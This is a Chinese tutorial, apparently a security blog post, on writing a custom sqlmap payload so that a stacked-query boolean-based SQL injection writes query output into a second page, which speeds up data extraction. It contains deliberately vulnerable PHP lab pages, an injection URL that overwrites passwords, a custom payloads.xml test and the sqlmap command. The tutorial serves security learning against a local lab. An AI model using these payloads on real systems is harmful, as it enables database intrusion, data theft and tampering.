Sqlmap進階:定制payload加速boolean-based注入
文中提及的部分技術可能帶有一定攻擊性,僅供安全學習和教學用途,禁止非法使用。
大家在玩SQL注入的時候大概都遇到過一種特別雞肋的情況:目標只有支持多語句查詢的boolean-based注入點(比如CVE-2014-3704)。我們很單純地想下載數據庫,卻只能用sqlmap10線程一位一位獲取。這樣的龜速根本就是反人類!那邊跑著sqlmap這邊還不能溜掉,說不定就要你按個“Y”。
不過,既然支持多語句就有另一種思路可以提速:把注入語句的執行結果update到另一個可見頁面上,這樣就可以直接獲取注入語句的輸出了。然而sqlmap本身并沒有這個功能。
本文主要向讀者介紹sqlmap的payloads自定義,以及如何基于它們,利用二階注入功能,讓boolean-based注入點轉化成error-based,加速測試過程。
實驗環境搭建:
實驗用數據庫是基于sqli靶機環境的
另有兩個php分別作為上圖中的頁面一和頁面二
test.php:
- <?php
- function db_connect() {
- @ $db = new mysqli ( 'localhost', 'root', '********', 'security' );
- // echo "out";
- if (mysqli_connect_errno ()) {
- echo "Error: Could not connect to database. Please try again later.";
- return null;
- }
- return $db;
- }
- $db = db_connect ();
- $id=$_GET['id'];
- $query ="SELECT * FROM users WHERE id='$id' ;";
- //echo $query;
- $result = $db->multi_query( $query );
- $result = $db->multi_query( 'select * from SLEEP(5)');
- $result = $db->store_result();
- //echo $num_results = $result->num_rows;
- echo $result->fetch_assoc()['username'];
- //echo $result->fetch_assoc ()['username'];
- $db->close ();
- ?>
test1.php
- <?php
- function db_connect() {
- @ $db = new mysqli ( 'localhost', 'root', '********', 'security' );
- // echo "out";
- if (mysqli_connect_errno ()) {
- echo "Error: Could not connect to database. Please try again later.";
- return null;
- }
- return $db;
- }
- $db = db_connect ();
- $query ="SELECT * FROM users WHERE id='10' ;";
- //echo $query;
- $result = $db->query( $query );
- echo $result->fetch_assoc()['password'];
- $db->close ();
- ?>
顯然test.php存在支持多語句執行的SQL注入漏洞
于是我們請求
http://127.0.0.1/sqli/test.php?id=1%27;update%20users%20set%20password%20=%20%27freebuffreebuf%27%20where%20id%20=%20%2710
就成功修改了password字段
可見這種思路是可行的。
Sqlmap的修改:
首先,我們先了解sqlmap是如何工作的:
sqlmap啟動后首先設置測試的level和risk,并識別受測試元素的類型
然后從它的配置文件xml/payloads.xml里面獲取應該測試的漏洞類型、測試方法以及相應的漏洞利用方案
在payloads.xml里面記錄了兩類數據(如果您聽得云里霧里的,請看看我翻譯的payloads.xml說明):
:用來使sql語句正確的前綴和后綴。比如前綴:"'"和后綴:"AND '[RANDSTR]'='[RANDSTR]"就可以閉合單引號,防止出錯。
:特定漏洞的全部信息,包括所用到的boundary,漏洞的level、risk,漏洞類型,利用的方法,檢測方法等。
在測試一個參數的時候sqlmap會遍歷所有符合要求的test節點,使用request節點下的payload執行漏洞掃描。
最后請求的內容是(括號里只是舉例):
原參數
(id=1)+prefix (')+payload(AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a))+comment(注釋符這里沒有)+suffix(AND 'few'='few)
然后再用response節點下的某種檢測方式進行檢測。
這里我們的思路的核心就是輸出明文,與error-based相似,因此使用error-based漏洞常使用的正則表達式進行輸出的獲取:
- <grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
其中[DELIMITER_START]和[DELIMITER_STOP]是用來匹配輸出開頭和結尾的隨機生成的字符串
想必payload應該與之對應
- <payload>;update users set password = CONCAT('[DELIMITER_START]',1,'[DELIMITER_STOP]') where id = </payload>
這里請注意在error-based漏洞的檢測中sqlmap是用獲取的輸出(即在[DELIMITER_START]和[DELIMITER_STOP]之間的部分)為1來初步確定漏洞的存在的。
上述語句就把輸出的內容UPDATE成了[DELIMITER_START]+"1"+[DELIMITER_STOP]使得此漏洞被檢測出存在。
檢測說完了,說說利用:
利用的語句受vector節點控制,有了payload就可以對照寫出來了
- <vector>;update users set password = CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]') where id =</vector>
這里的[QUERY]就是執行的漏洞利用語句,輸出還是會被正則獲取
于是就有了最終的自定義test
- <test>
- <title>MySQL Customized update query based test </title>
- <stype>2</stype>
- <level>1</level>
- <risk>0</risk>
- <clause>1</clause>
- <where>1</where>
- <vector>;update users set password = CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]') where id =</vector>
- <request>
- <payload>;update users set password = CONCAT('[DELIMITER_START]',1,'[DELIMITER_STOP]') where id = </payload>
- </request>
- <response>
- <grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
- </response>
- <details>
- <dbms>MySQL</dbms>
- <dbms_version>>= 5.0.11</dbms_version>
- </details>
- </test>
我們把這段代碼加入到payloads.xml里面(root節點里面哦),然后基于這個自定義的測試配置和二階SQL注入,寫我們的命令:
- sqlmap -u 127.0.0.1/sqli/test.php?id=1 --second-order test1.php -v 3 --level 1 --suffix "'10"
請注意上述語句我重定義了后綴。
看看效果:
可用了!
至此,我們已經成功讓一個慢得要死的boolean-based注入點進化成為了確確實實人見人愛的error-based注入點,媽媽再也不用注入速度太慢了~
快快dump一下來體會這速度帶來的快感吧。
P.S:多次對比過程中不要忘了刪掉sqlmap的本地緩存。
參考:sqlmap源代碼
本文作者:piece of the past,聯系方式:1005308775@qq.com

























